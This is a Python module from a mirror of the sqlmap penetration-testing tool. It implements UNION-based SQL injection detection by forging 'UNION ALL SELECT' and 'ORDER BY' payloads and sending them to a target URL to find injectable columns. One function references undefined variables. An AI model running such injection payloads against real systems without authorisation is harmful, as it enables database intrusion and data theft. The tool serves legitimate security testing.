mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-02-17 03:50:42 +03:00
All (hopefully) functionalities should still be working. Added two switches, --level and --risk to specify which injection tests and boundaries to use. The main advantage now is that sqlmap is able to identify initially which injection types are present so for instance if boolean-based blind is not supported, but error-based is, sqlmap will keep going and work!
189 lines
6.3 KiB
Python
189 lines
6.3 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
$Id$
|
|
|
|
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
|
See the file 'doc/COPYING' for copying permission
|
|
"""
|
|
|
|
from lib.core.agent import agent
|
|
from lib.core.common import randomStr
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.data import queries
|
|
from lib.core.enums import DBMS
|
|
from lib.core.session import setUnion
|
|
from lib.core.unescaper import unescaper
|
|
from lib.parse.html import htmlParser
|
|
from lib.request.connect import Connect as Request
|
|
|
|
def __unionPosition(negative=False, falseCond=False, count=None, comment=None):
|
|
validPayload = None
|
|
|
|
if count is None:
|
|
count = kb.unionCount
|
|
|
|
# For each column of the table (# of NULL) perform a request using
|
|
# the UNION ALL SELECT statement to test it the target url is
|
|
# affected by an exploitable inband SQL injection vulnerability
|
|
for exprPosition in range(0, count):
|
|
# Prepare expression with delimiters
|
|
randQuery = randomStr()
|
|
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
|
|
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
|
|
|
|
# Forge the inband SQL injection request
|
|
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment)
|
|
payload = agent.payload(newValue=query, negative=negative, falseCond=falseCond)
|
|
|
|
# Perform the request
|
|
resultPage, _ = Request.queryPage(payload, content=True)
|
|
|
|
if resultPage and randQuery in resultPage:
|
|
setUnion(position=exprPosition)
|
|
validPayload = payload
|
|
|
|
break
|
|
|
|
return validPayload
|
|
|
|
def __unionConfirm(count=None, comment=None):
|
|
validPayload = None
|
|
|
|
# Confirm the inband SQL injection and get the exact column
|
|
# position which can be used to extract data
|
|
if not isinstance(kb.unionPosition, int):
|
|
debugMsg = "testing full inband with %s columns" % count
|
|
logger.debug(debugMsg)
|
|
|
|
validPayload = __unionPosition(count=count, comment=comment)
|
|
|
|
# Assure that the above function found the exploitable full inband
|
|
# SQL injection position
|
|
if not isinstance(kb.unionPosition, int):
|
|
debugMsg = "testing single-entry inband value with %s columns" % count
|
|
logger.debug(debugMsg)
|
|
|
|
validPayload = __unionPosition(negative=True, count=count, comment=comment)
|
|
|
|
# Assure that the above function found the exploitable partial
|
|
# (single entry) inband SQL injection position with negative
|
|
# parameter validPayload
|
|
if not isinstance(kb.unionPosition, int):
|
|
# NOTE: disable false condition for the time being, in the
|
|
# end it produces the same as prepending the original
|
|
# parameter value with a minus (negative)
|
|
#validPayload = __unionPosition(falseCond=True, count=count, comment=comment)
|
|
#
|
|
# Assure that the above function found the exploitable partial
|
|
# (single entry) inband SQL injection position by appending
|
|
# a false condition after the parameter validPayload
|
|
#if not isinstance(kb.unionPosition, int):
|
|
# return None
|
|
#else:
|
|
# setUnion(falseCond=True)
|
|
return None
|
|
else:
|
|
setUnion(negative=True)
|
|
|
|
return validPayload
|
|
|
|
def __unionTestByCharBruteforce(comment):
|
|
"""
|
|
This method tests if the target url is affected by an inband
|
|
SQL injection vulnerability. The test is done up to 50 columns
|
|
on the target database table
|
|
"""
|
|
|
|
query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar)
|
|
|
|
for count in range(conf.uColsStart, conf.uColsStop+1):
|
|
if kb.dbms == DBMS.ORACLE and query.endswith(" FROM DUAL"):
|
|
query = query[:-len(" FROM DUAL")]
|
|
|
|
if count:
|
|
query += ", %s" % conf.uChar
|
|
|
|
if kb.dbms == DBMS.ORACLE:
|
|
query += " FROM DUAL"
|
|
|
|
validPayload = __unionConfirm(count, comment)
|
|
|
|
if validPayload:
|
|
setUnion(count=count)
|
|
break
|
|
|
|
return validPayload
|
|
|
|
def __unionTestByOrderBy(comment):
|
|
columns = None
|
|
prevPayload = ""
|
|
|
|
for count in range(conf.uColsStart, conf.uColsStop+1):
|
|
query = agent.prefixQuery("ORDER BY %d" % count)
|
|
orderByQuery = agent.suffixQuery(query, comment)
|
|
payload = agent.payload(newValue=orderByQuery, negative=negative, falseCond=falseCond)
|
|
_, seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
|
|
|
|
if seqMatcher >= 0.6:
|
|
columns = count
|
|
setUnion(count=count)
|
|
elif columns:
|
|
break
|
|
|
|
prevPayload = payload
|
|
|
|
return columns
|
|
|
|
def unionTest():
|
|
"""
|
|
This method tests if the target url is affected by an inband
|
|
SQL injection vulnerability. The test is done up to 3*50 times
|
|
"""
|
|
|
|
if conf.direct:
|
|
return
|
|
|
|
if kb.unionTest is not None:
|
|
return kb.unionTest
|
|
|
|
if conf.uTech == "orderby":
|
|
technique = "ORDER BY clause bruteforcing"
|
|
elif conf.uChar == "NULL":
|
|
technique = "NULL bruteforcing"
|
|
else:
|
|
technique = "char (%s) bruteforcing" % conf.uChar
|
|
|
|
infoMsg = "testing inband sql injection on parameter "
|
|
infoMsg += "'%s' with %s technique" % (kb.injection.parameter, technique)
|
|
logger.info(infoMsg)
|
|
|
|
validPayload = None
|
|
comment = queries[kb.dbms].comment.query
|
|
|
|
if conf.uTech == "orderby":
|
|
validPayload = __unionTestByOrderBy(comment)
|
|
else:
|
|
validPayload = __unionTestByCharBruteforce(comment)
|
|
|
|
if validPayload:
|
|
setUnion(comment=comment)
|
|
|
|
if isinstance(kb.unionPosition, int):
|
|
infoMsg = "the target url is affected by an exploitable "
|
|
infoMsg += "inband sql injection vulnerability "
|
|
infoMsg += "on parameter '%s' with %d columns" % (kb.injection.parameter, kb.unionCount)
|
|
logger.info(infoMsg)
|
|
else:
|
|
infoMsg = "the target url is not affected by an exploitable "
|
|
infoMsg += "inband sql injection vulnerability "
|
|
infoMsg += "on parameter '%s'" % kb.injection.parameter
|
|
logger.info(infoMsg)
|
|
|
|
validPayload = agent.removePayloadDelimiters(validPayload, False)
|
|
setUnion(payload=validPayload)
|
|
|
|
return kb.unionTest
|